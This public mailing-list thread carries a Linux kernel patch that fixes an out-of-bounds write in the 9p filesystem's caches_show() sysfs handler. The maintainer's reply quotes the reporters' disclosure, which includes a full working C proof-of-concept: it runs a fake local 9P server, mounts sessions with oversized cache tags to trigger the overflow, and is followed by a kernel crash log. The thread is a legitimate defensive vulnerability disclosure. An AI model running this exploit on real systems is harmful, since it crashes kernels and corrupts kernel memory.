Linux 9p file system development
 help / color / mirror / Atom feed
* [PATCH 1/1] 9p: fix caches_show() out-of-bounds write
       [not found] <cover.1781908090.git.zzhan461@ucr.edu>
@ 2026-06-20 15:53 ` Ren Wei
  2026-06-20 22:16 ` [PATCH 0/1] 9p: " Dominique Martinet
  1 sibling, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-06-20 15:53 UTC (permalink / raw)
  To: v9fs
  Cc: ericvh, lucho, asmadeus, linux_oss, rpembry, yuantan098,
	zcliangcn, bird, zzhan461, n05ec

From: Zhao Zhang <zzhan461@ucr.edu>

The sysfs show handler for /sys/fs/9p/caches appends cache tags with
snprintf(buf + count, limit, ...) and then advances count and limit by
the return value. This is incorrect for truncation because snprintf()
returns the full would-have-been length, not the number of bytes stored.

Once the accumulated output exceeds PAGE_SIZE, count can advance past
the sysfs buffer and limit can become negative. A later iteration then
passes an out-of-bounds destination pointer and an oversized size_t
into snprintf(), leading to an out-of-bounds write.

Use sysfs_emit_at() for the append instead. It follows the sysfs buffer
contract and returns the number of bytes actually stored, so the offset
remains bounded even when the output is truncated.

Fixes: 86db0c32f16c ("9p: fix /sys/fs/9p/caches overwriting itself")
Cc: stable@vger.kernel.org
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Zhengchuan Liang <zcliangcn@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Zhao Zhang <zzhan461@ucr.edu>
Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
---
 fs/9p/v9fs.c | 16 +++++-----------
 1 file changed, 5 insertions(+), 11 deletions(-)

diff --git a/fs/9p/v9fs.c b/fs/9p/v9fs.c
index acda42499ca9..0668bad681bf 100644
--- a/fs/9p/v9fs.c
+++ b/fs/9p/v9fs.c
@@ -17,6 +17,7 @@
 #include <linux/fs_context.h>
 #include <linux/slab.h>
 #include <linux/seq_file.h>
+#include <linux/sysfs.h>
 #include <net/9p/9p.h>
 #include <net/9p/client.h>
 #include <net/9p/transport.h>
@@ -592,21 +593,14 @@ static ssize_t caches_show(struct kobject *kobj,
 			   struct kobj_attribute *attr,
 			   char *buf)
 {
-	ssize_t n = 0, count = 0, limit = PAGE_SIZE;
+	ssize_t count = 0;
 	struct v9fs_session_info *v9ses;
 
 	spin_lock(&v9fs_sessionlist_lock);
 	list_for_each_entry(v9ses, &v9fs_sessionlist, slist) {
-		if (v9ses->cachetag) {
-			n = snprintf(buf + count, limit, "%s\n", v9ses->cachetag);
-			if (n < 0) {
-				count = n;
-				break;
-			}
-
-			count += n;
-			limit -= n;
-		}
+		if (v9ses->cachetag)
+			count += sysfs_emit_at(buf, count, "%s\n",
+					       v9ses->cachetag);
 	}
 
 	spin_unlock(&v9fs_sessionlist_lock);
-- 
2.47.3


^ permalink raw reply related	[flat|nested] 2+ messages in thread

* Re: [PATCH 0/1] 9p: caches_show() out-of-bounds write
       [not found] <cover.1781908090.git.zzhan461@ucr.edu>
  2026-06-20 15:53 ` [PATCH 1/1] 9p: fix caches_show() out-of-bounds write Ren Wei
@ 2026-06-20 22:16 ` Dominique Martinet
  1 sibling, 0 replies; 2+ messages in thread
From: Dominique Martinet @ 2026-06-20 22:16 UTC (permalink / raw)
  To: Ren Wei
  Cc: ericvh, lucho, linux_oss, rpembry, yuantan098, zcliangcn, bird,
	zzhan461, v9fs

Ren Wei wrote on Sat, Jun 20, 2026 at 11:53:02PM +0800:
> From: Zhao Zhang <zzhan461@ucr.edu>
> 
> Hi Linux kernel maintainers,

There's no reason not to send that to the list (it requires privileges
as you said), so quoting in full with v9fs@ in cc

(I see you also sent a patch, I don't consider this a priority so will
look at it more closely after the merge window; there's another similar
fix for the v9fs tag show being discussed right now)

> We found an issue in fs/9p/v9fs.c.
> The bug is reachable by a privileged user with permission to mount 9p filesystems.
> The relevant details are provided below.
> 
> ---- details below ----
> 
> Bug details:
> 
> The bug is in `caches_show()` for `/sys/fs/9p/caches`.
> 
> That function iterates the global 9p session list and appends each
> session's `cachetag` into the sysfs buffer with:
> 
> `snprintf(buf + count, limit, "%s\n", v9ses->cachetag)`
> 
> It then advances:
> 
> `count += n;`
> `limit -= n;`
> 
> This is incorrect because `snprintf()` returns the full would-have-been
> length, not the number of bytes actually stored. Once the accumulated
> cache-tag output exceeds `PAGE_SIZE`, `count` advances past the end of
> the sysfs buffer and `limit` becomes negative.
> 
> A later iteration then passes an out-of-bounds destination pointer and a
> large `size_t` converted from the negative `limit` into `snprintf()`,
> leading to an out-of-bounds write in the sysfs show path.
> 
> In practice this is reachable when `CONFIG_9P_FSCACHE` is enabled and a
> privileged user mounts enough 9p instances with long `cachetag=` values
> before reading `/sys/fs/9p/caches`.
> 
> Reproducer:
> 
> cc -x c -O2 -static -o mini_poc.bin mini_poc
> ./mini_poc.bin
> 
> 
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> 
> ------BEGIN PoC------
> 
> #define _GNU_SOURCE
> 
> #include <arpa/inet.h>
> #include <errno.h>
> #include <fcntl.h>
> #include <signal.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/mount.h>
> #include <sys/socket.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <time.h>
> #include <unistd.h>
> 
> #define PORT 5640
> #define MOUNTS 19
> #define TAG_FILL 211
> 
> enum {
> 	P9_RLERROR = 7,
> 	P9_TGETATTR = 24,
> 	P9_RGETATTR = 25,
> 	P9_TVERSION = 100,
> 	P9_RVERSION = 101,
> 	P9_TATTACH = 104,
> 	P9_RATTACH = 105,
> 	P9_TFLUSH = 108,
> 	P9_RFLUSH = 109,
> 	P9_TCLUNK = 120,
> 	P9_RCLUNK = 121,
> };
> 
> static const char version_str[] = "9P2000.L";
> static const uint64_t p9_stats_mask = 0x7ffULL | 0x1000ULL;
> 
> static void put_le16(unsigned char *p, uint16_t v)
> {
> 	p[0] = v & 0xff;
> 	p[1] = (v >> 8) & 0xff;
> }
> 
> static void put_le32(unsigned char *p, uint32_t v)
> {
> 	p[0] = v & 0xff;
> 	p[1] = (v >> 8) & 0xff;
> 	p[2] = (v >> 16) & 0xff;
> 	p[3] = (v >> 24) & 0xff;
> }
> 
> static void put_le64(unsigned char *p, uint64_t v)
> {
> 	put_le32(p, (uint32_t)v);
> 	put_le32(p + 4, (uint32_t)(v >> 32));
> }
> 
> static uint16_t get_le16(const unsigned char *p)
> {
> 	return (uint16_t)p[0] | ((uint16_t)p[1] << 8);
> }
> 
> static uint32_t get_le32(const unsigned char *p)
> {
> 	return (uint32_t)p[0] |
> 	       ((uint32_t)p[1] << 8) |
> 	       ((uint32_t)p[2] << 16) |
> 	       ((uint32_t)p[3] << 24);
> }
> 
> static ssize_t read_full(int fd, void *buf, size_t len)
> {
> 	size_t off = 0;
> 
> 	while (off < len) {
> 		ssize_t ret = read(fd, (char *)buf + off, len - off);
> 
> 		if (ret == 0)
> 			return off;
> 		if (ret < 0) {
> 			if (errno == EINTR)
> 				continue;
> 			return -1;
> 		}
> 		off += ret;
> 	}
> 
> 	return off;
> }
> 
> static int write_full(int fd, const void *buf, size_t len)
> {
> 	size_t off = 0;
> 
> 	while (off < len) {
> 		ssize_t ret = write(fd, (const char *)buf + off, len - off);
> 
> 		if (ret < 0) {
> 			if (errno == EINTR)
> 				continue;
> 			return -1;
> 		}
> 		off += ret;
> 	}
> 
> 	return 0;
> }
> 
> static int send_reply(int fd, uint8_t type, uint16_t tag,
> 		      const void *payload, uint32_t payload_len)
> {
> 	unsigned char hdr[7];
> 
> 	put_le32(hdr, 7 + payload_len);
> 	hdr[4] = type;
> 	put_le16(hdr + 5, tag);
> 	if (write_full(fd, hdr, sizeof(hdr)) < 0)
> 		return -1;
> 	if (payload_len && write_full(fd, payload, payload_len) < 0)
> 		return -1;
> 	return 0;
> }
> 
> static int send_lerror(int fd, uint16_t tag, uint32_t err)
> {
> 	unsigned char payload[4];
> 
> 	put_le32(payload, err);
> 	return send_reply(fd, P9_RLERROR, tag, payload, sizeof(payload));
> }
> 
> static int handle_client(int fd)
> {
> 	static const unsigned char root_qid[13] = {
> 		0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
> 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> 	};
> 
> 	for (;;) {
> 		unsigned char hdr[7];
> 		unsigned char payload[8192];
> 		uint32_t size;
> 		uint8_t type;
> 		uint16_t tag;
> 
> 		if (read_full(fd, hdr, sizeof(hdr)) != sizeof(hdr))
> 			return 0;
> 
> 		size = get_le32(hdr);
> 		type = hdr[4];
> 		tag = get_le16(hdr + 5);
> 		if (size < sizeof(hdr) || size - sizeof(hdr) > sizeof(payload))
> 			return -1;
> 		if (read_full(fd, payload, size - sizeof(hdr)) !=
> 		    (ssize_t)(size - sizeof(hdr)))
> 			return -1;
> 
> 		switch (type) {
> 		case P9_TVERSION: {
> 			unsigned char out[4 + 2 + sizeof(version_str) - 1];
> 			uint32_t msize = 8192;
> 
> 			if (size >= 11)
> 				msize = get_le32(payload);
> 			put_le32(out, msize);
> 			put_le16(out + 4, sizeof(version_str) - 1);
> 			memcpy(out + 6, version_str, sizeof(version_str) - 1);
> 			if (send_reply(fd, P9_RVERSION, tag, out, sizeof(out)) < 0)
> 				return -1;
> 			break;
> 		}
> 		case P9_TATTACH:
> 			if (send_reply(fd, P9_RATTACH, tag,
> 				       root_qid, sizeof(root_qid)) < 0)
> 				return -1;
> 			break;
> 		case P9_TGETATTR: {
> 			unsigned char out[153];
> 			uint64_t now = (uint64_t)time(NULL);
> 			uint64_t vals[] = {
> 				2, 0, 0, 4096, 0,
> 				now, 0, now, 0, now, 0, now, 0, 1, 1,
> 			};
> 			size_t off = 0;
> 			size_t i;
> 
> 			memset(out, 0, sizeof(out));
> 			put_le64(out + off, p9_stats_mask);
> 			off += 8;
> 			memcpy(out + off, root_qid, sizeof(root_qid));
> 			off += sizeof(root_qid);
> 			put_le32(out + off, 040755);
> 			off += 4;
> 			put_le32(out + off, 0);
> 			off += 4;
> 			put_le32(out + off, 0);
> 			off += 4;
> 			for (i = 0; i < sizeof(vals) / sizeof(vals[0]); i++) {
> 				put_le64(out + off, vals[i]);
> 				off += 8;
> 			}
> 			if (send_reply(fd, P9_RGETATTR, tag, out, sizeof(out)) < 0)
> 				return -1;
> 			break;
> 		}
> 		case P9_TCLUNK:
> 			send_reply(fd, P9_RCLUNK, tag, NULL, 0);
> 			return 0;
> 		case P9_TFLUSH:
> 			if (send_reply(fd, P9_RFLUSH, tag, NULL, 0) < 0)
> 				return -1;
> 			break;
> 		default:
> 			if (send_lerror(fd, tag, 95) < 0)
> 				return -1;
> 			break;
> 		}
> 	}
> }
> 
> static void server_loop(void)
> {
> 	struct sockaddr_in addr;
> 	int one = 1;
> 	int listen_fd;
> 
> 	listen_fd = socket(AF_INET, SOCK_STREAM, 0);
> 	if (listen_fd < 0)
> 		_exit(1);
> 	setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
> 
> 	memset(&addr, 0, sizeof(addr));
> 	addr.sin_family = AF_INET;
> 	addr.sin_port = htons(PORT);
> 	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
> 	if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
> 		_exit(1);
> 	if (listen(listen_fd, 16) < 0)
> 		_exit(1);
> 
> 	for (;;) {
> 		int client_fd = accept(listen_fd, NULL, NULL);
> 
> 		if (client_fd < 0) {
> 			if (errno == EINTR)
> 				continue;
> 			_exit(1);
> 		}
> 		handle_client(client_fd);
> 		close(client_fd);
> 	}
> }
> 
> static int write_text(const char *path, const char *text)
> {
> 	int fd = open(path, O_WRONLY);
> 	size_t len = strlen(text);
> 
> 	if (fd < 0)
> 		return -1;
> 	if (write_full(fd, text, len) < 0) {
> 		close(fd);
> 		return -1;
> 	}
> 	close(fd);
> 	return 0;
> }
> 
> static void cleanup_mounts(const char *base)
> {
> 	char mp[128];
> 	int i;
> 
> 	for (i = 1; i <= MOUNTS; i++) {
> 		snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i);
> 		umount2(mp, MNT_DETACH);
> 	}
> }
> 
> static int mount_sessions(const char *base)
> {
> 	char mp[128];
> 	char tag[4 + TAG_FILL + 1];
> 	char opts[512];
> 	int i;
> 
> 	for (i = 1; i <= MOUNTS; i++) {
> 		snprintf(mp, sizeof(mp), "%s/mnt.%d", base, i);
> 		mkdir(mp, 0755);
> 		snprintf(tag, sizeof(tag), "%03d_", i);
> 		memset(tag + 4, 'A', TAG_FILL);
> 		tag[sizeof(tag) - 1] = '\0';
> 		snprintf(opts, sizeof(opts),
> 			 "trans=tcp,port=%d,version=9p2000.L,cache=fscache,cachetag=%s",
> 			 PORT, tag);
> 		if (mount("127.0.0.1", mp, "9p", 0, opts) < 0) {
> 			perror("mount");
> 			return -1;
> 		}
> 	}
> 
> 	return 0;
> }
> 
> static int dump_caches(void)
> {
> 	char buf[4096];
> 	int fd;
> 
> 	fd = open("/sys/fs/9p/caches", O_RDONLY);
> 	if (fd < 0) {
> 		perror("open");
> 		return -1;
> 	}
> 
> 	for (;;) {
> 		ssize_t ret = read(fd, buf, sizeof(buf));
> 
> 		if (ret == 0)
> 			break;
> 		if (ret < 0) {
> 			perror("read");
> 			close(fd);
> 			return -1;
> 		}
> 		if (write_full(STDOUT_FILENO, buf, ret) < 0) {
> 			close(fd);
> 			return -1;
> 		}
> 	}
> 
> 	close(fd);
> 	return 0;
> }
> 
> int main(void)
> {
> 	const char *base = "/tmp/v9fs-caches-poc";
> 	pid_t child;
> 	int status = 1;
> 
> 	if (geteuid() != 0) {
> 		fprintf(stderr, "run as root\n");
> 		return 1;
> 	}
> 
> 	mkdir(base, 0755);
> 	cleanup_mounts(base);
> 	write_text("/proc/sys/kernel/panic_on_warn", "0\n");
> 	write_text("/proc/sys/kernel/panic_on_oops", "0\n");
> 
> 	child = fork();
> 	if (child < 0) {
> 		perror("fork");
> 		return 1;
> 	}
> 	if (child == 0)
> 		server_loop();
> 
> 	sleep(1);
> 	if (mount_sessions(base) == 0 && dump_caches() == 0)
> 		status = 0;
> 
> 	cleanup_mounts(base);
> 	kill(child, SIGTERM);
> 	waitpid(child, NULL, 0);
> 	return status;
> }
> 
> 
> ------END PoC--------
> 
> ----BEGIN crash log----
> 
> [  312.177878][T10660] Kernel panic - not syncing: kernel: panic_on_warn set ...
> [  312.178459][T10660] CPU: 0 UID: 0 PID: 10660 Comm: cat Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
> [  312.181692][T10660]  check_panic_on_warn+0x61/0x80
> [  312.182076][T10660]  __warn+0xe8/0x330
> [  312.189425][T10660] RIP: 0010:vsnprintf+0xbfb/0x1180
> [  312.192016][T10660] RDX: 1ff400000138ef52 RSI: ffffffffffffff4d RDI: ff1100006f9850b3
> [  312.195689][T10660]  snprintf+0xaa/0xe0
> [  312.197121][T10660]  caches_show+0x79/0xe0
> [  312.197845][T10660]  sysfs_kf_seq_show+0x1bd/0x380
> [  312.198611][T10660]  seq_read_iter+0x40f/0x11f0
> [  312.200066][T10660]  vfs_read+0x6cd/0xb70
> [  312.203264][T10660]  ksys_read+0xf9/0x1d0
> [  312.204639][T10660]  do_syscall_64+0x116/0xf80
> [  312.205311][T10660]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
> 
> 
> -----END crash log-----
> 
> Best regards,
> Zhao Zhang
> 
> 
> Zhao Zhang (1):
>   9p: v9fs: fix caches_show() out-of-bounds write
> 
>  fs/9p/v9fs.c | 16 +++++-----------
>  1 file changed, 5 insertions(+), 11 deletions(-)
> 

-- 
Dominique Martinet | Asmadeus

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-06-20 22:16 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
     [not found] <cover.1781908090.git.zzhan461@ucr.edu>
2026-06-20 15:53 ` [PATCH 1/1] 9p: fix caches_show() out-of-bounds write Ren Wei
2026-06-20 22:16 ` [PATCH 0/1] 9p: " Dominique Martinet

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox